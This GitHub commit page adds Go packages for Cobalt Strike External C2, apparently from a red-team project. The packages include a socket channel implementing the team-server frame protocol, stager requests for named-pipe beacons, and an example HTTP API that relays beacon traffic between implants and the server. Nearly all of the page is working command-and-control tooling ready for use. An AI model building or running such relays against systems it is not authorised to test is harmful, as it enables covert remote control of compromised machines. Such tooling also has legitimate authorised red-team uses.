Skip to content
Permalink
Browse files

Adds go package for cs server communications. Also adds an example we…

…b api demo.
  • Loading branch information...
tomsteele committed Nov 15, 2017
1 parent 57b8e4a commit 3873dcacb16609b949d1a19458f7266476166f54
@@ -0,0 +1 @@
cmd/web/web
@@ -0,0 +1,29 @@
package externc2

import (
"fmt"

"github.com/google/uuid"
)

// BeaconID is combination of the internal identifier and Cobalt Strike identifier.
type BeaconID struct {
CobaltStrikeID int
InternalID string
}

// ToString returns this as a string.
func (b *BeaconID) ToString() string {
return fmt.Sprintf("%d_%s", b.CobaltStrikeID, b.InternalID)
}

// NewBeaconID returns a new BeaconID with the InternalID initialized.
func NewBeaconID() (BeaconID, error) {
var beaconID BeaconID
u, err := uuid.NewRandom()
if err != nil {
return beaconID, err
}
beaconID.InternalID = u.String()
return beaconID, nil
}
@@ -0,0 +1,119 @@
package channels

import (
"encoding/base64"
"encoding/binary"
"fmt"
"log"
"net"

"github.com/ryhanson/ExternalC2/go-external-c2"
)

// SocketChannel is a direct socket connection to the Cobalt Strike
// External C2 server.
type SocketChannel struct {
Addr string
Socket net.Conn
Debug bool
}

// NewSocket creates a Socket using the specified ip and port.
func NewSocket(addr string) (*SocketChannel, error) {
return &SocketChannel{Addr: addr}, nil
}

// Connect creates the initial connection to the external listener.
func (s *SocketChannel) Connect() error {
socket, err := net.Dial("tcp", s.Addr)
if err != nil {
return err
}
s.Socket = socket
return nil
}

// ReadFrame reads a frame from the CS server socket.
func (s *SocketChannel) ReadFrame() ([]byte, int, error) {
sizeBytes := make([]byte, 4)
if _, err := s.Socket.Read(sizeBytes); err != nil {
return nil, 0, err
}
size := binary.LittleEndian.Uint32(sizeBytes)
if size > 1024*1024 {
size = 1024 * 1024
}
var total uint32
buff := make([]byte, size)
for total < size {
read, err := s.Socket.Read(buff[total:])
if err != nil {
return nil, int(total), err
}
total += uint32(read)
}
if (size > 1 && size < 1024) && s.Debug {
log.Printf("[+] Read frame: %s\n", base64.StdEncoding.EncodeToString(buff))
}
return buff, int(total), nil
}

// SendFrame sends a frame to the CS server socket.
func (s *SocketChannel) SendFrame(buffer []byte) (int, error) {
length := len(buffer)
if (length > 2 && length < 1024) && s.Debug {
log.Printf("[+] Sending frame: %s\n", base64.StdEncoding.EncodeToString(buffer))
}
sizeBytes := make([]byte, 4)
binary.LittleEndian.PutUint32(sizeBytes, uint32(length))
if _, err := s.Socket.Write(sizeBytes); err != nil {
return 0, err
}
x, err := s.Socket.Write(buffer)
return x + 4, err
}

// ReadAndSendTo reads a frame from the socket and send it to the beacon channel
func (s *SocketChannel) ReadAndSendTo(c2 externc2.IC2Channel) (bool, error) {
buff, _, err := s.ReadFrame()
if err != nil {
return false, err
}
if len(buff) < 0 {
return false, nil
}
if _, err := c2.SendFrame(buff); err != nil {
return false, err
}
return true, nil
}

// Close closes the socket connection.
func (s *SocketChannel) Close() {
s.Socket.Close()
}

// Dispose closes the socket connection.
func (s *SocketChannel) Dispose() {
s.Close()
}

// IsConnected returns true if the underlying socket
// has a connecteion.
func (s *SocketChannel) IsConnected() bool {
return s.Socket != nil
}

// GetStager requests an NamedPipe beacon from the Cobalt Strike server.
func (s *SocketChannel) GetStager(pipeName string, is64Bit bool, taskWaitTime int) ([]byte, error) {
if is64Bit {
s.SendFrame([]byte("arch=x64"))
} else {
s.SendFrame([]byte("arch=x86"))
}
s.SendFrame([]byte("pipename=" + pipeName))
s.SendFrame([]byte(fmt.Sprintf("block=%d", taskWaitTime)))
s.SendFrame([]byte("go"))
stager, _, err := s.ReadFrame()
return stager, err
}
@@ -0,0 +1,141 @@
/*Example Web-API to demonstrate the capabilites of the Go/.NET ExternC2 packages*/
package main

import (
"encoding/base64"
"errors"
"flag"
"fmt"
"io/ioutil"
"log"
"net/http"
"strings"
"sync"

"github.com/gorilla/mux"
"github.com/ryhanson/ExternalC2/go-external-c2"
"github.com/ryhanson/ExternalC2/go-external-c2/channels"
)

var idHeader = "X-C2-Beacon"

// App holds contextual information about the running app.
type App struct {
CSAddr string
Manager sync.Map
}

func (app *App) getBeacon(r *http.Request) (string, *channels.SocketChannel, error) {
header := r.Header.Get(idHeader)
socket, ok := app.Manager.Load(header)
if !ok {
return "", nil, errors.New("beacon not found")
}
return header, socket.(*channels.SocketChannel), nil
}

// Options grabs web channel options and creates a new channel for a beacon.
func (app *App) Options(w http.ResponseWriter, r *http.Request) {
log.Println("[+] OPTIONS: Creating new beacon")
socket, err := channels.NewSocket(app.CSAddr)
if err != nil {
log.Printf("[!] Error while trying to create the Socket: %s\n", err.Error())
return
}
socket.Debug = true
if err := socket.Connect(); err != nil {
log.Printf("[!] Error while trying to connect to the CS server: %s\n", err.Error())
return
}
beaconID, err := externc2.NewBeaconID()
if err != nil {
log.Printf("[!] Error while tring to generate the beacon id: %s\n", err.Error())
return
}
app.Manager.Store(beaconID.InternalID, socket)
log.Printf("[+] ID will be set to %s\n", beaconID.InternalID)
w.Header().Add("X-Id-Header", idHeader)
w.Header().Add("X-Identifier", beaconID.InternalID)
}

// Get salls the socket channel's ReadFrame method.
func (app *App) Get(w http.ResponseWriter, r *http.Request) {
id, s, err := app.getBeacon(r)
if err != nil {
log.Printf("[!] Error during getBeacon: %s\n", err.Error())
return
}
log.Printf("[+] GET: Frame to beacon id: %s\n", id)
buff, _, err := s.ReadFrame()
if err != nil {
log.Printf("[!] Error during ReadFrame: %s\n", err.Error())
return
}
if s.IsConnected() {
encoder := base64.NewEncoder(base64.StdEncoding, w)
encoder.Write(buff)
encoder.Close()
} else {
fmt.Printf("[!] Socket is no longer connected")
w.Write([]byte(""))
}
}

// Put calls the socket channel's SendFrame method.
func (app *App) Put(w http.ResponseWriter, r *http.Request) {
decoder := base64.NewDecoder(base64.StdEncoding, r.Body)
id, s, err := app.getBeacon(r)
if err != nil {
log.Printf("[!] Error during getBeacon: %s\n", err.Error())
return
}
log.Printf("[+] PUT: Frame from beacon id: %s\n", id)
buff, err := ioutil.ReadAll(decoder)
if err != nil {
log.Printf("[!] Error decoding base64 payload: %s\n", err.Error())
return
}
if _, err := s.SendFrame(buff); err != nil {
log.Printf("[!] Error sending frame: %s\n", err.Error())
return
}
}

// Post calls the socket channel's GetStager method.
func (app *App) Post(w http.ResponseWriter, r *http.Request) {
is64Bit := strings.Contains(r.UserAgent(), "x64")
id, s, err := app.getBeacon(r)
if err != nil {
log.Printf("[!] Error during getBeacon: %s\n", err.Error())
return
}
log.Printf("[+] POST: Request for stager from beacon id: %s\n", id)

stager, err := s.GetStager(id, is64Bit, 100)
if err != nil {
log.Printf("[!] Error during GetStager: %s\n", err.Error())
return
}
encoder := base64.NewEncoder(base64.StdEncoding, w)
encoder.Write(stager)
encoder.Close()
}

func main() {
listenAddr := flag.String("listen-addr", ":8888", "ip:port for the web server to listen on")
csAddr := flag.String("cs-addr", "", "ip:port of the cs listener")
flag.Parse()
if *csAddr == "" {
log.Fatal("You must provide a valid value for csAddr. Example: 127.0.0.1:2222.")
}
r := mux.NewRouter()
app := &App{
CSAddr: *csAddr,
}
r.HandleFunc("/beacon", app.Options).Methods("OPTIONS")
r.HandleFunc("/beacon", app.Get).Methods("GET")
r.HandleFunc("/beacon", app.Put).Methods("PUT")
r.HandleFunc("/beacon", app.Post).Methods("POST")
http.Handle("/", r)
log.Fatal(http.ListenAndServe(*listenAddr, nil))
}
@@ -0,0 +1,13 @@
package externc2

// IC2Channel is used to communicate with the beacon
// and server protocols.
type IC2Channel interface {
Connect() error
IsConnected() bool
Close()
ReadFrame() ([]byte, int, error)
SendFrame(buffer []byte) (int, error)
ReadAndSendTo(c2 IC2Channel)
GetStager(pipeName string, is64Bit bool, taskWaitTime int) ([]byte, error)
}
@@ -0,0 +1,11 @@
package externc2

// IC2Connector is used to connect two IC2Channels.
type IC2Connector interface {
Started() bool
BeaconChannel() IC2Channel
ServerChannel() IC2Channel
Initialize() bool
Go()
Stop()
}

0 comments on commit 3873dca

Please sign in to comment.
You can’t perform that action at this time.